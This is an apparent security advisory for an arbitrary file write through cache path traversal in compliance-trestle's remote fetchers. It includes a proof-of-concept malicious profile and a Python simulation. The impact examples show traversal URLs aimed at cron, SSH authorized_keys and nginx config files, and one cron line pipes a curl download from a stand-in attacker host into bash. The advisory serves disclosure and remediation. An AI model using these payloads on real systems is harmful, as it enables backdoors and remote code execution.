High

compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal

  • Disclosed: 27.05.2026
  • Updated: 11.10.2026 14:18

Summary

The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.

Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:259-266 — HTTPSFetcher cache path construction

python
class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        # ...
        u = parse.urlparse(self._uri)
        # ...
        if u.hostname is None:
            raise TrestleError(f'Cache request for {self._uri} requires hostname')
        https_cached_dir = self._trestle_cache_path / u.hostname
        # ❌ path_parent preserves ../ sequences from URL
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        https_cached_dir = https_cached_dir / path_parent
        https_cached_dir.mkdir(parents=True, exist_ok=True)  # ❌ Creates dirs outside cache
        self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

cache.py:285-295 — Content written to traversed path

python
    def _do_fetch(self) -> None:
        # ...
        response = requests.get(self._url, auth=auth, verify=verify, timeout=30)
        if response.status_code == 200:
            result = response.text  # ❌ Attacker-controlled content
            self._cached_object_path.write_text(result)  # ❌ Written to arbitrary path

cache.py:328-333 — SFTPFetcher (identical pattern)

python
class SFTPFetcher(FetcherBase):
    def __init__(self, ...):
        # Identical path construction — same vulnerability
        sftp_cached_dir = self._trestle_cache_path / u.hostname
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        sftp_cached_dir = sftp_cached_dir / path_parent
        sftp_cached_dir.mkdir(parents=True, exist_ok=True)
        self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

Root Cause:

  1. urlparse("https://evil.com/../../../tmp/pwned.json").path = /../../../tmp/pwned.json — preserves ../
  2. pathlib.Path(u.path).parent preserves traversal sequences
  3. cache_dir / hostname / "../../../../../../tmp" resolves outside cache
  4. mkdir(parents=True, exist_ok=True) creates intermediate directories
  5. write_text(response.text) writes attacker-controlled content to traversed path
  6. No is_relative_to() boundary check on the resolved path

Steps to Reproduce

Prerequisites

bash
pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

yaml
# malicious_profile.yaml — arbitrary file write via cache traversal
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json"

PoC: Cache Path Traversal Simulation

python
#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse

# Simulate trestle cache behavior (cache.py:259-266)
trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))
cache_dir = trestle_root / ".trestle" / ".cache"
cache_dir.mkdir(parents=True, exist_ok=True)

evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
u = urlparse(evil_url)

# Exact trestle code path
cached_dir = cache_dir / u.hostname
m = re.search(r'[^/\\\\]', u.path)
path_parent = Path(u.path[m.span()[0]:]).parent
cached_dir = cached_dir / path_parent
cached_dir.mkdir(parents=True, exist_ok=True)
cached_file = cached_dir / Path(Path(u.path).name)

print(f"Cache dir: {cache_dir}")
print(f"Resolved write target: {cached_file.resolve()}")
# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!

# Write attacker content
attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'
cached_file.write_text(attacker_payload)
print(f"Written: {cached_file.resolve().read_text()}")

# Cleanup
os.remove(str(cached_file.resolve()))
shutil.rmtree(str(trestle_root))

Expected: Write confined to .trestle/.cache/ directory Actual: File written to /tmp/trestle_pwned.json (arbitrary filesystem location)

Remediation

Fix for HTTPSFetcher (cache.py:259-266):

python
class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        # ...
        u = parse.urlparse(self._uri)
        https_cached_dir = self._trestle_cache_path / u.hostname

        # ✅ Sanitize path: remove traversal sequences
        safe_path = pathlib.PurePosixPath(u.path).parts
        safe_path = [p for p in safe_path if p != '..' and p != '/']
        path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')

        https_cached_dir = https_cached_dir / path_parent
        https_cached_dir.mkdir(parents=True, exist_ok=True)
        self._cached_object_path = https_cached_dir / safe_path[-1]

        # ✅ Boundary check
        if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):
            raise TrestleError(
                f"Cache path traversal blocked: URL '{uri}' resolves to "
                f"'{self._cached_object_path.resolve()}' outside cache directory"
            )

Same fix required for SFTPFetcher at lines 328-333.

References

Impact

1. Cron Job Injection → Remote Code Execution

yaml
# Profile that writes a cron job
imports:
  - href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"

Attacker's server responds with:

* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'

2. SSH Authorized Keys Injection

yaml
imports:
  - href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys"

Attacker's server responds with their SSH public key.

3. Config File Overwrite

yaml
imports:
  - href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf"

4. Python Path Hijacking

Write malicious .py file to a location on sys.path for code execution on next import.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) compliance-trestle >= 4.0.0, < 4.0.3, < 3.12.2 4.0.3, 3.12.2

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-73
Platform
Python (PyPI)
Package
compliance-trestle
Disclosed
27.05.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2424 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-g3vg-vx23-3858 - CC BY 4.0

Vulnerability history: compliance-trestle

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (9) in the archive
Total entries
9
First → latest
05.2026 09.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 7
  • Medium 2

Disclosures per year

  1. 2026: 9
Severity:
  1. High · 7.8 CVE-2026-57170 < 3.12.4, >= 4.0.0, < 4.1.0 3.12.4, 4.1.0
  2. High · 7.8 CVE-2026-54757 < 3.12.4, >= 4.0.0, < 4.1.0 3.12.4, 4.1.0
  3. High · 7.8 CVE-2026-46439 < 3.12.2, >= 4.0.0, < 4.0.3 3.12.2, 4.0.3
  4. High · 8.4 CVE-2026-46345 >= 4.0.0, < 4.0.3, < 3.12.2 4.0.3, 3.12.2
  5. compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal this entry
    High CVE-2026-45725 >= 4.0.0, < 4.0.3, < 3.12.2 4.0.3, 3.12.2

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